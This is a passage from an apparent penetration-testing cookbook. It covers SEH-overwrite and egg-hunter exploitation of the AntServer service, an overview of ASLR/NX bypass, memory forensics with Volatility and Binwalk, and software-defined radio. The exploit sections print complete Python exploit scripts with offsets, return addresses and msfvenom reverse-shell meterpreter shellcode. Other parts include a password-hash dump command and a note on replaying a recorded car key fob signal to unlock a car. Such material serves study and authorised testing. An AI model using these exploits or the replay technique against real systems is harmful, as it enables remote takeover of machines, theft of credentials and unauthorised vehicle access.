SEH handlers can be considered the block of `try` and `catch` statements that are executed in order when there's an exception in the program. This is what a typical SEH chain would look like:

Source: https://www.corelan.be/wp-content/uploads/2009/07/image_thumb45.png

When an exception occurs, the SEH chain comes to the rescue and handles the exception based on its type.

So, when an illegal instruction occurs, the application gets a chance to handle the exception. If no exception handler is defined in the application, we will see an error shown by Windows, such as Send a report to Microsoft.

To perform the successful exploitation of a program with the SEH handler, we first try to fill the stack with our buffer and then try to overwrite the memory address that stores the first SEH record chain. However, that is not enough; we need to generate an error as well, which will actually trigger the SEH handler. Then, we will be able to gain complete control over the execution flow of the program. An easy way to do this is to keep filling the stack all the way down, which will create an exception to be handled, and since we already have control over the first SEH record, we will be able to exploit it.

# How to do it...

Perform the following steps:

  1. Download a program called AntServer. It has a lot of public exploits available, and we will try to build our own exploit for it.
  2. Install it on the Windows XP SP2 machine that we used in the previous recipe ( _Exploiting buffer overflows on real software_ ).
  3. AntServer had a vulnerability that can be triggered by sending a long USV request to the AntServer running on port `6600`:

  4. Run AntServer by opening the software and navigating to Server | Run Service Control...:

  5. Write a simple Python script that will send a large request to this server on port `6600`:

    #!/usr/bin/pythonimport socket
    import socket
    address="192.168.110.6"
    port=6660
    buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=sock.connect((address, port))
    sock.send(buffer)
    sock.close()

  6. Start Immunity Debugger and attach the `AntServer.exe` process to it. Click on Run.
  7. Run the Python script from Kali, and in our debugger, we will see a violation error. However, our EIP has not been overwritten yet:

  8. In the File menu in the debugger, go to View | SEH chain. Here, we will see that the address has been overwritten by `AAAA`. Press _Shift_ \+ _F9_ to pass an exception to the program. We will see that the EIP has been overwritten, and we get an error:

  9. The other register values have now become zero. This zeroing of registers was introduced in Windows XP SP1 to make SEH exploitation more difficult.
  10. We are using Windows XP SP2, which has a feature called **SAFESEH**. When this option is enabled in the module, only the memory addresses listed on the registered SEH handlers list can be used, which means if we use any address that is not on the list, from a module compiled with `/SAFESEH ON`, the SEH address will not be used by the Windows exception handler and the SEH overwrite will fail.
  11. There are a few ways to bypass SEH: we can use an overwrite address from a module that was not compiled with the `/SAFESEH ON` or `IMAGE_DLLCHARACTERISTICS_NO_SEH` options.
  12. To find the modules that were not compiled with `/SAFE SEH ON`, we will use a plugin called **mona** for Immunity Debugger. It can be downloaded from <https://github.com/corelan/mona>:

  13. Copy the Python file into the `PyCommands` folder of the Immunity application.
  14. Let's make the exploit. The EIP has already been overwritten. Now, we will try to find the exact bytes at which the crash occurs using the `pattern_create.rb` script in Kali Linux:

    **ruby /path/to/script/pattern_create.rb -l 2500**

The following screenshot shows the output of the preceding command:

  15. The final exploit code should be as follows:

  16. Run the preceding file, and in Immunity Debugger, we will see the access violation error. Go to View | SEH chain.

  17. Our SEH has been overwritten with bytes. Copy the `42326742` value and find its location using the `pattern_offset` script in Kali, as shown in the following screenshot:

    **ruby /path/to/script/pattern_offset.rb -q 42326742**

The following screenshot shows the output of the preceding command:

  18. The offset is `966` bytes, at which point the handler is overwritten.
  19. Let's modify our exploit a bit and see what happens. We have `966` bytes; we will use `962` bytes of `As` and `4` bytes of breakpoint, and `4` with Bs and the rest of the bytes with Cs to see what happens:

            #!/usr/bin/python
            import socket address="192.168.110.12"
            port=6660 buffer = "USV "
            buffer+= "A" * 962
            buffer+= "\xcc\xcc\xcc\xcc"
            buffer+= "BBBB"
            buffer+= "C" * (2504 - len(buffer))
            buffer+= "\r\n\r\n"
            sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=sock.connect((target_address,target_port))
            sock.send(buffer)
            sock.close()

  20. Run this and check out the SEH chain. Here, we can see something interesting: the first four breakpoints we added have actually overwritten a memory address, and the next four have been overwritten into our SEH handler:

This happens because the SEH is a pointer that points to the memory address where the code is stored when an exception occurs.

  21. Pass the exception to the program and we will see that the EIP has been overwritten, but when we look in the memory, we can see that our Cs have been written approximately six bytes after our Bs in the memory. We can use `POP RET`, followed by a short `JMP` code, to jump to our shellcode.
  22. Type the `!safeseh` command in the debugger's console:

  23. We will see a list of all DLLs that are not compiled using `SAFESEH/ON`. In the log window, we will see the list of the functions:

  24. Let's use a DLL `vbajet32.dll`. Our goal is to find a `POP POP RET` sequence in the DLL that we can use to bypass SEH.
  25. Find our DLL on the Windows machine and copy it to Kali. Kali has another great tool known as `msfpescan`, which can be used to find the `POP POP RET` sequence in the DLL:

    **/path/to/msfpescan -f vbajet32.dll -s**

The following screenshot shows the output of the preceding command:

  26. Here, we have the address for all the `POP POP RET` sequences in the `.dll`. We will use the first one, `0x0f9a1f0b`. We also need a short `JMP` code that will cause a jump to our shellcode or Cs stored in the memory.
  27. A short `JMP` is `\xeb\x06`, where `06` is the number of bytes we need to jump. We are still two bytes short of the four-byte address space and we can use two NOPs.
  28. Let's create some shellcode; since we are sending this over HTTP, we need to make sure we avoid bad characters. We will use `msfvenom`:

    **msfvenom -p windows/meterpreter/reverse_tcp -f py
     -b "\x00\xff\x20\x25\x0a\x-d" -v buffer**

The following screenshot shows the output of the preceding command:

  29. Put everything in the exploit, as follows:

            #!/usr/bin/python
            import socket
            target_address="192.168.110.12"
            target_port=6660
            buffer = "USV "
            buffer += "\x41" * 962 #offset
            # 6 Bytes SHORT jump to shellcode
            buffer += "\xeb\x06\x90\x90"
            # POP+POP+RET 0x0f9a196a
            buffer += "\x6a\x19\x9a\x0f"
            buffer += "\x90" * 16
            #Shellcode Reverse meterpreter.
            buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
            buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
            buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
            buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
            buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
            buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
            buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
            buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
            buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
            buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
            buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
            buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
            buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
            buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
            buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
            buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
            buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
            buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
            buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
            buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
            buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
            buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
            buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
            buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
            buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
            buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
            buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
            buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
            buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
            buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
            # NOP SLED
            buffer += "\x90" * (2504 - len(buffer))
            buffer += "\r\n\r\n"
            sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=sock.connect((target_address,target_port))
            sock.send(buffer)
            print "Sent!!"
            sock.close()

The following screenshot shows the output of the preceding command:

  30. Let's run this without the debugger this time. We will open our handler in Kali, and we should have meterpreter access:

# See also

Please refer to the following links for more information:

  * <https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/>
  * <http://resources.infosecinstitute.com/bypassing-seh-protection-a-real-life-example/>

# Exploiting egg hunters

Egg hunting is used when there is not enough space in the memory to place our shellcode consecutively. Using this technique, we prefix a unique tag with our shellcode and then the egg hunter will basically search for that tag in the memory and execute the shellcode. The egg hunter contains a set of programming instructions; it is not much different from shellcode. There are various egg hunters available. You can learn more about them and how they work in the following paper by skape:

<http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf>.

# Getting ready

We will try to make an exploit with an egg hunter for the same software we used in the _SEH bypass_ recipe. The logic behind the exploitation would be something similar to what is shown in the following diagram:

Our aim is to overwrite the **nSEH** and then **SEH** to make it jump to the egg-hunter shellcode, which, when executed, will find and execute our shellcode in the memory.

# How to do it...

Follow these steps to demonstrate the use of the egg hunter:

  1. Start the software on Windows XP and attach it to the debugger:

  2. Add the egg hunter and then use it to jump to the shellcode. As we already know, the egg hunter is a shellcode, and the basic rule for using a shellcode is to make sure it does not have any bad characters.

  3. Let's look at the exploit we made in the previous recipe:

            #!/usr/bin/python
            import socket
            target_address="192.168.110.12"
            target_port=6660
            buffer = "USV "
            buffer += "\x41" * 962 #offset
            # 6 Bytes SHORT jump to shellcode
            buffer += "\xeb\x06\x90\x90"
            # POP+POP+RET 0x0f9a196a
            buffer += "\x6a\x19\x9a\x0f"
            buffer += "\x90" * 16
            #Shellcode Reverse meterpreter.
            buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
            buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
            buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
            buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
            buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
            buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
            buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
            buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
            buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
            buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
            buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
            buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
            buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
            buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
            buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
            buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
            buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
            buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
            buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
            buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
            buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
            buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
            buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
            buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
            buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
            buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
            buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
            buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
            buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
            buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
            # NOP SLED
            buffer += "\x90" * (2504 - len(buffer))
            buffer += "\r\n\r\n"
            sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=sock.connect((target_address,target_port))
            sock.send(buffer)
            print "Sent!!"
            sock.close()

  4. The shellcode isn't actually after the six bytes of jump we made in the memory. In this situation, we can use an egg hunter to make a reliable exploit for the software.
  5. We need our final exploit to follow the flow that we mentioned in the preceding diagram, but we also need to make sure that we have enough NOPs in the code to ensure the exploit.
  6. Our exploit flow should look as follows. In our case, we had enough memory for the shellcode. In other cases, we may not have so much memory, or our shellcode may be stored somewhere else in the memory. In those cases, we can go for egg hunting, which we will cover in the next recipe:

  7. Our shellcode should now look something like this:

            #!/usr/bin/python
            import socket
            target_address="192.168.110.12"
            target_port=6660
            #Egghunter Shellcode 32 bytes
            egghunter = ""
            egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\
              x2e\x3c\x05\x5a\x74"
            egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf
              \x75\xe7\xff\xe7"
            # 6 Bytes SHORT jump to shellcode
            nseh = "\xeb\x09\x90\x90"
            # POP+POP+RET 0x0f9a196a
            seh = "\x6a\x19\x9a\x0f"
            #Shellcode Reverse meterpreter. 360 bytes
            buffer = ""
            buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
            buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
            buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
            buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
            buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
            buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
            buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
            buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
            buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
            buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
            buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
            buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
            buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
            buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
            buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
            buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
            buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
            buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
            buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
            buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
            buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
            buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
            buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
            buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
            buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
            buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
            buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
            buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
            buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
            buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
            nop = "\x90" * 301
            tag = "w00tw00t"
            buffer1 = "USV "
            buffer1 += nop * 2 + "\x90" * 360
            buffer1 += nseh + seh # 8
            buffer1 += "\x90" * 6 #
            buffer1 += egghunter
            buffer1 += nop
            buffer1 += tag
            buffer1 += buffer
            buffer1 += "\x90" * (3504 - len(buffer))
            buffer1 += "\r\n\r\n"
            sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=sock.connect((target_address,target_port))
            sock.send(buffer1)
            print "Sent!!"
            sock.close()

  8. Save it as `script.py` and run it using `python script.py`.

  9. Our meterpreter session should be waiting for us.

The exploit code we wrote may not work in the exact same way on every system because there are multiple dependencies depending on the OS version and software version.

# See also

Please refer to the following links for more information:

  * <https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/>
  * <http://www.fuzzysecurity.com/tutorials/expDev/4.html>

# An overview of ASLR and NX bypass

**Address Space Layout Randomization** ( **ASLR** ) was introduced in 2001 by PaX project as a Linux patch and was integrated into Windows Vista and later OSes. It is a memory protection that protects against buffer overflows by randomizing the location where executables are loaded in the memory. **Data Execution Prevention** ( **DEP** ) or **no-execute** ( **NX** ) was also introduced with Internet Explorer 7 on Windows Vista, and it helps prevent buffer overflows by blocking code execution from memory, which is marked as non-executable.

# How to do it...

We need to first evade ASLR. There are basically two ways in which ASLR can be bypassed:

  1. Look for any anti-ASLR modules being loaded into memory. We will have the base address of any module at a fixed location. From here, we can use the **Return Oriented Programming** ( **ROP** ) approach. We will basically use small parts of code, followed by a return instruction, and chain everything to get the desired result:

Source: https://www.slideshare.net/dataera/remix-ondemand-live-randomization-finegrained-live-aslr-during-runtime

  2. We get pointer leak/memory leak, and we adjust the offset to grab the base address of the module whose pointer gets leaked.
  3. To bypass the NX/DEP, we use a well-known _ret-to-libc_ attack (in Linux) or ROP chaining (in Windows). This method allows us to use `libc` functions to perform the task we would have done with our shellcode.
  4. There's another method that's used to bypass ASLR in 32-bit systems since 32 bits is a comparatively small address space compared to 64-bit systems. This makes the range of randomization smaller and feasible compared to brute force.

This is pretty much the basic concept behind bypassing ASLR and DEP. There are many more advanced ways of writing exploits, and as the patches are applied, new methods are discovered to bypass them.

# See also

Please refer to the following links for more information:

  * <https://www.trustwave.com/Resources/SpiderLabs-Blog/Baby-s-first-NX-ASLR-bypass/>
  * <http://taishi8117.github.io/2015/11/11/stack-bof-2/>
  * <https://www.exploit-db.com/docs/17914.pdf>
  * <http://tekwizz123.blogspot.com/2014/02/bypassing-aslr-and-dep-on-windows-7.html>
  * <https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/>

# Elementary, My Dear Watson - Digital Forensics

Memory forensics (sometimes referred to as memory analysis) refers to the analysis of volatile data in a computer's memory dump. It is used to investigate attacks on the system that are stealthy and do not leave data on the hard drive of the computer. In this chapter, we will cover some of the tools that can be used to analyze memory dumps and malicious files, and extract useful information from them.

In this chapter we will cover the following recipes:

  * Using the volatility framework
  * Using Binwalk
  * Capturing a forensic image with guymager

# Using the volatility framework

The volatility framework, or the volatile memory extraction utility framework, is an open collection of tools that have been implemented in Python. The framework is open source. It supports Microsoft Windows, macOS X, and Linux.

Volatility supports the investigation of the following memory images:

  * Windows:
    * 32-bit Windows XP (Service Packs 2 and 3)
    * 32-bit Windows 2003 Server (Service Packs 0, 1, and 2)
    * 32-bit Windows Vista (Service Packs 0, 1, and 2)
    * 32-bit Windows 2008 Server (Service Packs 1 and 2)
    * 32-bit Windows 7 (Service Packs 0 and 1)
    * 32-bit Windows 8, 8.1, and 8.1 Update 1
    * 32-bit Windows 10 (initial support)
    * 64-bit Windows XP (Service Packs 1 and 2)
    * 64-bit Windows 2003 Server (Service Packs 1 and 2)
    * 64-bit Windows Vista (Service Packs 0, 1, and 2)
    * 64-bit Windows 2008 Server (Service Packs 1 and 2)
    * 64-bit Windows 2008 R2 Server (Service Packs 0 and 1)
    * 64-bit Windows 7 (Service Packs 0 and 1)
    * 64-bit Windows 8, 8.1, and 8.1 Update 1
    * 64-bit Windows Server 2012 and 2012 R2
    * 64-bit Windows 10 (including at least 10.0.14393)
    * 64-bit Windows Server 2016 (including at least 10.0.14393.0)
  * macOS X:
    * 32-bit 10.5.x Leopard (the only 64-bit 10.5 is Server, which isn't supported)
    * 32-bit 10.6.x Snow Leopard
    * 32-bit 10.7.x Lion
    * 64-bit 10.6.x Snow Leopard
    * 64-bit 10.7.x Lion
    * 64-bit 10.8.x Mountain Lion
    * 64-bit 10.9.x Mavericks
    * 64-bit 10.10.x Yosemite
    * 64-bit 10.11.x El Capitan
    * 64-bit 10.12.x Sierra
  * Linux:
    * 32-bit Linux kernels 2.6.11 to 4.2.3
    * 64-bit Linux kernels 2.6.11 to 4.2.3
    * OpenSuSE, Ubuntu, Debian, CentOS, Fedora, and Mandriva

In this recipe, we will look at the basics of analyzing a system's image.

# Getting ready

We will use one of the challenges from <https://www.root-me.org/>. It's called **command and control level 2** , and can be downloaded from <https://www.root-me.org/en/Challenges/Forensic/Command-Control-level-2>.

We extract the compressed file.

# How to do it...

Let's perform the following steps:

  1. Volatility is already installed in Kali. Let's run the framework to see the details of the image we have. Run the following command:

    **volatility -f ch2.dmp imageinfo**

Once we run the preceding command, we get the following output:

  2. The preceding screenshot shows us the information pertaining to the image, such as the Image Date and Number of Processors. It also suggests the profile to use for further analysis. Use `Win7SP1x86` for now. Let's try to find the hostname of the system whose image we are analyzing. For this, look at the SYSTEM hive in the registry. This hive contains the hostname of the machine. Use the following command to view the `hivelist`:

    **volatility -f ch2.dmp --profile=Win7SP1x86 hivelist**

  3. The following screenshot shows the list of hives; note the address of the SYSTEM hive (`0x8b21c008`):

  4. The hostname is stored in the `\ControlSet001\Control\ComputerName\ComputerName` key of `SYSTEM`, so we use the `printkey` plugin to view the value of the registry key using the following command:

    **volatility -f ch2.dmp --profile=Win7SP1x86 printkey -o 0x8b21c008 -K 'ControlSet001\Control\ComputerName\ComputerName'**

The following screenshot shows the output of the preceding command:

  5. We have the hostname. Let's now try to view the list of running processes using the following command:

    **volatility -f ch2.dmp --profile=Win7SP1x86 pstree**

Once we run the preceding command, we get the following output:

  6. To check whether any process has network connections associated with it, use the following command. In our case, `2772` is the process ID from the command we used previously to list the processes, and `netscan` lists all the connections established:

    **volatility volatility -f ch2.dmp --profile=Win7SP1x86 netscan | grep 2772**

Once we run the preceding command, we get the following output:

  7. From the preceding screenshot, we can see that the process is communicating with something on the local port. Let's check whether anyone ran a command via CMD on this system. Use the consoles plugin to view whether there were any commands run using Command Prompt in the system:

    **volatility -f ch2.dmp --profile=Win7SP1x86 consoles
    **

  8. The preceding screenshot shows that `tcprelay.exe` and `whoami.exe` were executed. Let's use the `hashdump` plugin to dump system hashes:

    **volatility -f ch2.dmp --profile=Win7SP1x86 hashdump**

Once we run the preceding command, we get the following output:

#  See also

  * **Volatility** : <https://github.com/volatilityfoundation/volatility>

# Using Binwalk

Binwalk is a built-in Python tool that is used to analyze, reverse-engineer, and extract firmware images. A lot of people who play CTFs use this tool to analyze the files they find. In this recipe, we will look at a very basic usage of binwalk.

# How to do it...

Let's perform the following steps:

  1. We have an image file called `brain.jpg`, which opens like an image, as shown in the following screenshot:

  2. Now, let's analyze it with `binwalk`. Use the following command:

    **binwalk brain.jpg**

Once we run the preceding command, we get the following output:

  3. We can see that this isn't an ordinary image: it contains a ZIP archive, which has a file called `flag.txt`. Let's extract the files from the image using `binwalk`. Use the following command:

    **binwalk -e brain.jpg**

  4. `binwalk` extracts the content and puts it in a folder called `_brain.jpg.extracted`, which lists the content of the folder. We can see the files in the following screenshot:

  5. Binwalk has tons of other features. To view a complete list, use the `-h` flag, as shown:

# See also

  * **Binwalk** : <https://github.com/ReFirmLabs/binwalk/wiki/Usage>

# Capturing a forensic image with guymager

We looked at how to analyze an image with the volatility framework in the _Using_ _the volatility framework_ recipe. In this recipe, we will learn how these images can be created. We will use a free tool, guymager, which is a forensic imager for media acquisition; it is available for Linux only.

# How to do it...

Please observe the following steps:

  1. Guymager is already available in Kali Linux. Run it using the following command:

    **guymager &**

Running the preceding command, we get the following screen:

  2. Connect the device (USB/CD) that you want to clone. In our case, it's the CD drive. If the device connects after running the tool, click the Rescan button so that the tool can recognize the device.
  3. Right-click on the device. We will see two options: Acquire image or Clone device. We will choose Acquire image:

  4. A new window will open that asks us to choose the output format, name, and path for the image. We can choose to split the image into multiple parts:

  5. Click Start. We will get the status of the image as Finished:

Now, the image is ready for us for analysis with volatility or other tools.

# Playing with Software-Defined Radios

The term software-defined radio means the implementation of hardware-based radio components, such as modulators, demodulators, and tuners, using software. In this chapter, we will cover different recipes and look at multiple ways RTLSDR can be used to play around with frequencies and the data being transported through it.

In this chapter, we will cover the following recipes:

  * Radio-frequency scanners
  * Hands-on with the RTLSDR scanner
  * Playing around with gqrx
  * Kalibrating your device for GSM tapping
  * Decoding ADS-B messages with Dump1090

# Radio-frequency scanners

RTLSDR is a very cheap (around $20) software-defined radio that uses a DVB-T TV tuner dongle. In this recipe, we will cover connecting an RTLSDR device with Kali Linux to test whether it was detected successfully.

# Getting ready

We will need some hardware for this recipe. It's easily available for purchase from Amazon or from <https://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/>. Kali already has tools for us to get going with it.

# How to do it...

When we connect our device, it should be detected in Kali Linux. It's common for the devices to behave inaccurately. Here is the recipe to run the test:

  1. Run the test using the following command:

    **rtl_test**

The following screenshot shows the output of the preceding command:

  2. We may see some packet drops. This is because we're trying this in a VM setup with only USB 2.0. In case there are a lot of packet drops, we can test it by setting a lower sampling rate with `rtl_test -s 1000000`:

Now, we are all set to move on to the next recipe and play around with our device.

# Hands-on with the RTLSDR scanner

RTLSDR scanner is a cross-platform GUI that can be used for spectrum analysis. It will scan the given frequency range and display the output in a spectrogram.

# How to do it...

Here is the recipe to run `rtlsdr-scanner`:

  1. Connect RTLSDR to the system and start the scanner using the following command:

    **rtlsdr-scanner**

The following screenshot shows the output of the preceding command:

  2. We should see a new window open, showing the GUI interface of the tool; enter the frequency range on which we want to perform the scan and click on Start:

  3. It will take some time to see a sweep of frequencies, and then we will see the result in graphical format:

If the application stops responding, it is recommended you lower the range and choose Single as the Mode instead of continuous.

# Playing around with gqrx

The `gqrx` tool is an open source **Software-Defined Radio** ( **SDR** ) receiver powered by the GNU radio and the Qt graphical toolkit.

It has the following features:

  * Discovers devices connected to a computer
  * Processes I/Q data
  * AM, SSB, CW, FM-N, and FM-W (mono and stereo) demodulators
  * Records and plays back audio to/from the WAV file
  * Records and plays back raw baseband data
  * Streams audio output over UDP

In this recipe, we will cover the basics of `gqrx`.

# How to do it...

The following is the recipe to use `gqrx`:

  1. Install `gqrx` using the following command:

    **apt install gqrx**

  2. Run the tool by typing `gqrx`.
  3. Choose your device from the drop-down menu in the window that opens and click OK:

  4. In the GQRX application, on the right side in the receiver window, choose the frequency we want to view. Then, go to the file and click on Start DSP:

  5. We see a waterfall and should start hearing the sound from our speakers. We can even change the frequency we are listening to, using the up and down buttons in the Receiver Options window:

  6. We will look at an example of a car key remote, which is used to lock/unlock a car. Once we press the button a couple of times, we will see the change in the waterfall, showing the difference in the signal:

  7. Record the signal in the record window and save it. This can be later decoded and transmitted back to the car using a transponder to unlock it.
  8. Capture the data at `443` MHz using the following command:

     **rtl_sdr -f 443M - | xxd**

# See also

To learn more about `gqrx`, visit these blogs:

  * http://gqrx.dk/doc/practical-tricks-and-tips
  * https://blog.compass-security.com/2016/09/software-defied-radio-sdr-and-decoding-on-off-keying-ook/

# Kalibrating your device for GSM tapping

RTLSDR also allows us to view GSM traffic using a tool called `kal` or `kalibrate-rtl`. This tool can scan for GSM base stations in a frequency band. In this recipe, we will learn about using kalibrate and then confirm the channel in `gqrx`.

# How to do it...

The following are the steps to use kalibrate:

